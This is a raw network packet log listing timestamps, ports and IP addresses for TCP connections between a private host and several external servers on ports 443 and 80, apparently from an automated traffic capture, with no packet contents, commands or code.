Nov 15, 2024 16:16:30.819499969 CET	443	49847	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.819542885 CET	49847	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.819561958 CET	49847	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.819576025 CET	443	49840	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.819883108 CET	443	49838	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:30.820677042 CET	49838	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:30.820761919 CET	443	49838	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:30.821043968 CET	49838	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:30.821419954 CET	443	49840	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.821731091 CET	49840	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.822345972 CET	49840	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.822360992 CET	443	49840	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.822372913 CET	49840	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.822377920 CET	443	49840	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.824573040 CET	49847	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.824593067 CET	443	49847	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.830070019 CET	443	49829	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.830766916 CET	443	49829	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.831140041 CET	49829	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.832384109 CET	49829	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.832406044 CET	443	49829	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.836472034 CET	443	49851	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.836613894 CET	49851	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.836616993 CET	443	49851	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.836677074 CET	49851	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.842562914 CET	49851	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.842581987 CET	443	49851	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.843174934 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.843202114 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.843285084 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.844259024 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.844275951 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.847161055 CET	443	49852	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.847259045 CET	49852	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.847306013 CET	443	49852	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.847354889 CET	443	49852	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.847532988 CET	49852	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.849499941 CET	49852	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.849529028 CET	443	49852	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.849874020 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.849930048 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.850083113 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.850653887 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.850672007 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.851800919 CET	443	49855	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.851979971 CET	49855	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.852021933 CET	443	49855	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.852058887 CET	443	49855	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.852197886 CET	49855	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.852619886 CET	443	49841	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.852874994 CET	49863	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.852914095 CET	443	49863	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.852998018 CET	49863	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.853003979 CET	443	49841	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.853049994 CET	49841	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.853749037 CET	49855	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.853770971 CET	443	49855	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.854238033 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.854281902 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.854302883 CET	49841	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.854319096 CET	443	49841	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.854348898 CET	49841	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.854357004 CET	443	49841	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.854382038 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.854748964 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.854767084 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.855545044 CET	49863	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.855575085 CET	443	49863	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.857062101 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.858053923 CET	49865	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.858082056 CET	443	49865	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.858203888 CET	49865	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.858361959 CET	49865	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.858378887 CET	443	49865	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.861949921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.870317936 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.870335102 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.870419979 CET	49850	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.870450974 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.870469093 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.870548010 CET	49850	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.871824026 CET	49850	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.871845961 CET	443	49850	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.875726938 CET	443	49856	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.875896931 CET	443	49856	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.875910997 CET	49856	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.876027107 CET	49856	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.876703024 CET	49856	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.876744986 CET	443	49856	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.887085915 CET	443	49857	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.887924910 CET	49857	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.887943983 CET	443	49857	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.888427019 CET	49857	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.888431072 CET	443	49857	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.888756990 CET	443	49849	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.888829947 CET	443	49849	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.888902903 CET	49849	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.889102936 CET	49849	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.889113903 CET	443	49849	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.889130116 CET	49849	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.889136076 CET	443	49849	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.892193079 CET	49866	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.892237902 CET	443	49866	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.892332077 CET	49866	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.892647982 CET	49866	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.892677069 CET	443	49866	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.907339096 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.907607079 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.928471088 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.935290098 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.935305119 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.935391903 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.935419083 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.935471058 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.935647964 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.935657978 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.942682028 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.942706108 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.942737103 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.942755938 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.942787886 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.943213940 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.948438883 CET	443	49848	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.948645115 CET	443	49848	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.948708057 CET	49848	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.950908899 CET	49848	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.950908899 CET	49848	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.950942993 CET	443	49848	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.950953960 CET	443	49848	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.964096069 CET	49867	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.964123011 CET	443	49867	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.964253902 CET	49867	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.964978933 CET	49867	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:30.964994907 CET	443	49867	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:30.993784904 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.993814945 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.993824959 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.993947983 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.993964911 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.993978977 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.993993998 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.994067907 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:30.994108915 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.994108915 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:30.994143009 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.000360966 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.000372887 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.000451088 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.000472069 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.000650883 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.000715017 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.000761032 CET	443	49854	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.000790119 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.000821114 CET	49854	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.019433022 CET	443	49857	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.019525051 CET	443	49857	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.020008087 CET	49857	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.020050049 CET	49857	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.020050049 CET	49857	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.020070076 CET	443	49857	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.020077944 CET	443	49857	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.023240089 CET	49869	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.023293972 CET	443	49869	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.023418903 CET	49869	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.023621082 CET	49869	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.023636103 CET	443	49869	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.050827026 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.050848961 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.050909996 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.050931931 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.050982952 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.050982952 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.058087111 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.058103085 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.058171034 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.058177948 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.058199883 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.058259964 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.058264971 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.059334040 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.060209036 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.060226917 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.060648918 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.060656071 CET	443	49853	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.063343048 CET	49853	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.088931084 CET	443	49858	108.156.211.59	192.168.2.5
Nov 15, 2024 16:16:31.093004942 CET	49858	443	192.168.2.5	108.156.211.59
Nov 15, 2024 16:16:31.093024969 CET	443	49858	108.156.211.59	192.168.2.5
Nov 15, 2024 16:16:31.093507051 CET	443	49858	108.156.211.59	192.168.2.5
Nov 15, 2024 16:16:31.093895912 CET	49858	443	192.168.2.5	108.156.211.59
Nov 15, 2024 16:16:31.094016075 CET	443	49858	108.156.211.59	192.168.2.5
Nov 15, 2024 16:16:31.094224930 CET	49858	443	192.168.2.5	108.156.211.59
Nov 15, 2024 16:16:31.134326935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134398937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134409904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134428978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134454012 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134479046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134491920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134502888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134521008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134531021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134542942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134552002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134562016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134562016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134562969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134562016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134562016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134562016 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134576082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134597063 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134634972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134638071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134726048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134736061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134747028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134758949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134810925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134821892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134831905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134843111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134855032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134862900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134862900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134862900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134862900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134865046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.134953022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.134953022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135108948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135127068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135143042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135153055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135164022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135174990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135258913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135258913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135258913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135274887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135304928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135323048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135335922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135360956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135371923 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135376930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135402918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135411978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135411978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135411978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135416031 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135440111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135447979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135457039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135462999 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135468960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135479927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135490894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135500908 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135500908 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135502100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135514021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135523081 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135526896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135539055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135550976 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135566950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135566950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135612965 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135621071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135627985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135633945 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135639906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135646105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135653019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135653973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135654926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135662079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135672092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135684013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135694027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135705948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.135801077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135801077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135801077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135801077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.135931015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136027098 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136070967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136084080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136111021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136121035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136126041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136131048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136141062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136151075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136161089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136169910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136178970 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136188984 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136198044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136208057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136218071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136226892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136226892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136226892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136226892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136226892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136253119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136264086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136272907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136281013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136290073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136292934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136293888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136301041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136312008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136323929 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136332989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136343956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136353970 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136360884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136360884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136360884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136379957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136404991 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.136406898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136600971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136612892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136620998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136687994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136703014 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136708975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136713982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136718035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136723042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136727095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136732101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136738062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.136743069 CET	80	49759	185.215.113.206	192.168.2.5
